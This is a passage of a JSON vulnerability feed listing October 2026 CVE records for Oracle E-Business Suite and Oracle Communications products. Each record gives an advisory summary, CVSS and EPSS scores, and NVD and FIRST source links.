evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101646&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101646, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101645","cveId":"CVE-2026-101645","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).","summary":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:18.793Z","updatedAt":"2026-10-21T19:16:53.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101645","asOf":"2026-10-21T19:16:53.240Z"},"epss":{"probability":0.00359,"percentile":0.29372,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101645&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101645","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101645","type":"primary","publishedAt":"2026-10-20T22:18:18.793Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101645&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101645, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101643","cveId":"CVE-2026-101643","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Online.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Sales Online accessible data as well as  unauthorized read access to a subset of Oracle Sales Online accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).","detail":"Vulnerability in the Oracle Sales Online product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Online.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Sales Online accessible data as well as  unauthorized read access to a subset of Oracle Sales Online accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:18.567Z","updatedAt":"2026-10-21T19:16:53.000Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101643","asOf":"2026-10-21T19:16:53.000Z"},"epss":{"probability":0.00309,"percentile":0.23499,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101643","type":"primary","publishedAt":"2026-10-20T22:18:18.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101642","cveId":"CVE-2026-101642","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).","detail":"Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:18.453Z","updatedAt":"2026-10-21T19:16:52.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101642","asOf":"2026-10-21T19:16:52.880Z"},"epss":{"probability":0.00405,"percentile":0.34464,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101642&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101642","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101642","type":"primary","publishedAt":"2026-10-20T22:18:18.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101641","cveId":"CVE-2026-101641","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Report Manager accessible data as well as  unauthorized update, insert or delete access to some of Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).","detail":"Vulnerability in the Oracle Report Manager product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Report Manager.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Report Manager accessible data as well as  unauthorized update, insert or delete access to some of Oracle Report Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Report Manager. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:18.340Z","updatedAt":"2026-10-21T19:16:52.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101641","asOf":"2026-10-21T19:16:52.763Z"},"epss":{"probability":0.00345,"percentile":0.27756,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101641","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101641","type":"primary","publishedAt":"2026-10-20T22:18:18.340Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101640","cveId":"CVE-2026-101640","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience).","summary":"Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as  unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).","detail":"Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Audience).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as  unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:18.227Z","updatedAt":"2026-10-21T21:17:34.203Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101640","asOf":"2026-10-21T21:17:34.203Z"},"epss":{"probability":0.00373,"percentile":0.30997,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101640","type":"primary","publishedAt":"2026-10-20T22:18:18.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101638","cveId":"CVE-2026-101638","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).","summary":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:17.997Z","updatedAt":"2026-10-21T19:16:52.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101638","asOf":"2026-10-21T19:16:52.510Z"},"epss":{"probability":0.00166,"percentile":0.05738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101638","type":"primary","publishedAt":"2026-10-20T22:18:17.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101636","cveId":"CVE-2026-101636","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:17.760Z","updatedAt":"2026-10-21T19:16:52.263Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101636","asOf":"2026-10-21T19:16:52.263Z"},"epss":{"probability":0.0036,"percentile":0.29481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101636&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101636","type":"primary","publishedAt":"2026-10-20T22:18:17.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101636&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101636, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101635","cveId":"CVE-2026-101635","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:17.650Z","updatedAt":"2026-10-24T04:18:12.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101635","asOf":"2026-10-24T04:18:12.240Z"},"epss":{"probability":0.00433,"percentile":0.37304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101635&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101635","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101635","type":"primary","publishedAt":"2026-10-20T22:18:17.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101635&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101635, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101604","cveId":"CVE-2026-101604","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).","summary":"Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).  Supported versions that are affected are 7.5.0, 7.5.1, 7.6.0, 7.7.0, 7.8.0 and 8.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Unified Inventory Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Unified Inventory Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).","detail":"Vulnerability in the Oracle Communications Unified Inventory Management product of Oracle Communications (component: Security).  Supported versions that are affected are 7.5.0, 7.5.1, 7.6.0, 7.7.0, 7.8.0 and 8.0.1. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Communications Unified Inventory Management.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Communications Unified Inventory Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:14.087Z","updatedAt":"2026-10-21T18:43:53.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101604","asOf":"2026-10-21T18:43:53.023Z"},"epss":{"probability":0.00398,"percentile":0.33729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101604&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101604","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101604","type":"primary","publishedAt":"2026-10-20T22:18:14.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101604&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101604, scored 2026-10-25. This is a model estimate, not proof of 